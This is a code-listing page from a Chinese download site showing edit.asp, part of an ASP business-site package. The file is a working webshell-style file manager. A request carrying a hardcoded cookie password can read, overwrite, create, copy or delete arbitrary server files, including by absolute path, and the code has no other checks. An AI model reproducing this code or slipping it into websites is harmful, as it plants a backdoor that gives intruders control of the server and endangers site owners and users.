⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 edit.asp

📁 北京商务网
💻 ASP
字号:
<%@ codepage ="936" %><html><head><meta HTTP-EQUIV="Content-Type" CONTENT="text/html;charset=gb_2312-80"><title>编辑源代码</title><style><!--table{ font-family: 宋体; font-size: 12pt }a{ font-family: 宋体; font-size: 12pt; color: rgb(0,32,64); text-decoration: none }a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: underline }a:visited{ color: rgb(128,0,0) }--></style></head><% '读文件'if Request.Cookies("password")="hyne_love_achye" then if request("op")="del" thenif Request("attrib")="true" thenwhichfile=Request("path")elsewhichfile=server.mappath(Request("path"))end if Set fs = CreateObject("Scripting.FileSystemObject")Set thisfile = fs.GetFile(whichfile)thisfile.Delete Trueresponse.write "<body onload=closeit()><script>function closeit() {setTimeout('self.close()',1000)}</script>"Response.write "<b>删除成功</b>!要刷新才能看到效果,你可以<a href='javascript:window.close();'>关闭本窗口</a>了"elseif request("op")="copy" thenif Request("attrib")="true" thenwhichfile=Request("path")dsfile=Request("dpath")elsewhichfile=server.mappath(Request("path"))dsfile=Server.MapPath(Request("dpath"))end if Set fs = CreateObject("Scripting.FileSystemObject")Set thisfile = fs.GetFile(whichfile)thisfile.copy dsfileresponse.write "<body onload=closeit()><script>function closeit() {setTimeout('self.close()',1000)}</script>"Response.write "<p><b>源文件:</b>"+whichfileResponse.write "<b><br>目的文件:</b>"+dsfileResponse.write "<br><b>复制成功!要刷新才能看到效果,</b>你可以<a href='javascript:window.close();'>关闭本窗口</a>了</p>"elseif request.form("text")="" thenif Request("creat")<>"yes" thenif Request("attrib")="true" thenwhichfile=Request("path")elsewhichfile=server.mappath(Request("path"))end if Set fs = CreateObject("Scripting.FileSystemObject")Set thisfile = fs.OpenTextFile(whichfile, 1, False)counter=0thisline=htmlencode2(thisfile.readall)thisfile.Closeset fs=nothingSet fs = CreateObject("Scripting.FileSystemObject") Set thisfile = fs.OpenTextFile(whichfile, 1, False)thisline2=thisfile.readallthisfile.Closeset fs=nothingend if%><form method="POST" action="edit.asp"></form><input type="hidden" name="attrib" value="<%=Request("attrib")%>"><table border="0"width="100%" cellpadding="0"><tr><td width="100%" bgcolor="#E8F4FF">&nbsp; </td></tr><tr align="center"><td width="100%" bgcolor="#E8F4FF">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 文件名:<input type="text" name="path" size="45"value="<%=Request("path")%> ">直接更改文件名,相当于“另存为”</td></tr><tr align="center"><td width="100%" bgcolor="#E8F4FF"><textarea rows="18" name="text" cols="73"><%=thisline%></textarea></td></tr><tr align="center"><td width="100%" bgcolor="#E8F4FF"><div align="center"><center><p><input type="submit"value="提交" name="B1"><input type="reset" value="复原" name="B2"></form><%elseif Request("attrib")="true" thenwhichfile=Request("path")elsewhichfile=server.mappath(Request("path"))end if Set fs = CreateObject("Scripting.FileSystemObject")Set outfile=fs.CreateTextFile(whichfile)outfile.WriteLine Request("text")outfile.close set fs=nothingresponse.write "<body onload=closeit()><script>function closeit() {setTimeout('self.close()',1000)}</script>"Response.write "修改成功!你可以<a href='javascript:window.close();'>关闭本窗口</a>了"end ifend ifend if'else'response.write "<body onload=closeit()><script>function closeit() {setTimeout('self.close()',1000)}</script>"'response.write "对不起!你的密码已经失效或者你输错了密码,请返回重输"'response.write "<a href='index.asp'>【返 回】</a>"'end iffunction htmlencode2(str)dim resultdim lif isNULL(str) then htmlencode2=""exit functionend ifl=len(str)result=""dim ifor i = 1 to lselect case mid(str,i,1)case "<"result=result+"&lt;"case ">"result=result+"&gt;"case chr(34)result=result+"&quot;"case "&"result=result+"&amp;"case elseresult=result+mid(str,i,1)end selectnext htmlencode2=resultend function%></html>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -